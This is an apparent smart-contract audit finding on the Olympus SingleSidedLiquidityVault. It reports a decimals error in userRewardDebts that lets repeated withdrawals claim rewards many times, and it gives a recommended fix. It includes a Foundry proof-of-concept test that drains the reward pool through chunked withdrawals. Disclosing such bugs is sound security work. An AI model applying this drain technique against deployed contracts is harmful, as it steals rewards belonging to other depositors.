Bahurum

high

# `userRewardDebts` incorrectly updated in `_claimInternalRewards()`

## Summary
In `_claimInternalRewards()` the `userRewardDebts` is updated with the wrong number of decimals. This causes an incorrect calculation in `_withdrawUpdateRewardState()` that always sets `userRewardDebts` to 0 so the claimed rewards are never accounted for. This allows an attacker to call `withdraw()` multiple times and each time receive the full claim until there are no more rewards available. This applies also to external rewards.

## Vulnerability Detail
In [`_claimInternalRewards()`](https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L628):
```solidity
userRewardDebts[msg.sender][rewardToken] += reward;
```
`reward` is in 18 decimals while `userRewardDebts` is in 36 decimals. This means that `userRewardDebts` is much more smaller than expected and in `_withdrawUpdateRewardState()`, during the accounting for claimed rewards, the condition `rewardDebtDiff > userRewardDebts[msg.sender][rewardToken.token]` will be true even when it shouldn't and `userRewardDebts[msg.sender][rewardToken.token]` is set to zero instead of being reduced. This makes `internalRewardsForToken()` return the same value as before withdrawing. The rewards should be claimable only once but this allows to claim many times.

## PoC

In the test below (for the forked environment) Alice should be able to claim only 5e18 rewards tokens but can claim 25e18 reward tokens.

```solidity
        function testDrainRewards() public {
        console2.log("Amount of LDO in pool:", ldo.balanceOf(address(liquidityVault)));
        
        // bob and alice deposit 1 wsteth each and 10 secs pass
        vm.prank(bob);
        liquidityVault.deposit(WSTETH_AMOUNT, 0);
        vm.prank(alice);
        liquidityVault.deposit(WSTETH_AMOUNT, 0);
        vm.warp(block.timestamp + 10); // Increase time 10 seconds so there are rewards
  
        // Get alice lp position
        uint256 aliceLpPosition = liquidityVault.lpPositions(alice);
        // Get bob lp position
        uint256 bobLpPosition = liquidityVault.lpPositions(alice);

        console2.log("Initial alice reward debt: ", 
            liquidityVault.userRewardDebts(alice, address(ldo)));

        // alice Withdraws and claims in chunks
        uint nChunks = 5;
        for (uint i; i<nChunks; i++){
            console2.log("userRewardDebts for alice:" , 
                liquidityVault.userRewardDebts(alice, address(ldo)));
            console2.log("available to withdraw for alice:" , 
                liquidityVault.internalRewardsForToken(0, alice));
            vm.prank(alice);
            liquidityVault.withdraw(aliceLpPosition/nChunks, minTokenAmounts_, true);
        }

        // bob Withdraw and claim but no more withdrawals available so reverts
        vm.expectRevert();
        vm.prank(bob);
        liquidityVault.withdraw(bobLpPosition, minTokenAmounts_, true);

        console2.log("Final alice reward debt: ", 
            liquidityVault.userRewardDebts(alice, address(ldo)));

        console2.log("rewards obtained by alice:", ldo.balanceOf(alice));
        console2.log("rewards obtained by bob:", ldo.balanceOf(bob));
        // Verify end state
        // assertEq(liquidityVault.userRewardDebts(alice, address(ldo)), 0);
    }
```
## Impact
All internal and external rewards can be stolen.

## Code Snippet
https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L628

https://github.com/sherlock-audit/2023-02-olympus/blob/main/src/policies/lending/abstracts/SingleSidedLiquidityVault.sol#L641

## Tool used

Manual Review

## Recommendation
A quick fix is to convert the added rewards to 36 decimals:

```solidity
-   userRewardDebts[msg.sender][rewardToken] += reward;
+   userRewardDebts[msg.sender][rewardToken] += reward * 1e18;
```

both in `_claimInternalRewards()` and `_claimExternalRewards()`.

Consider converting instead all variables that represent rewards into 18 decimals.
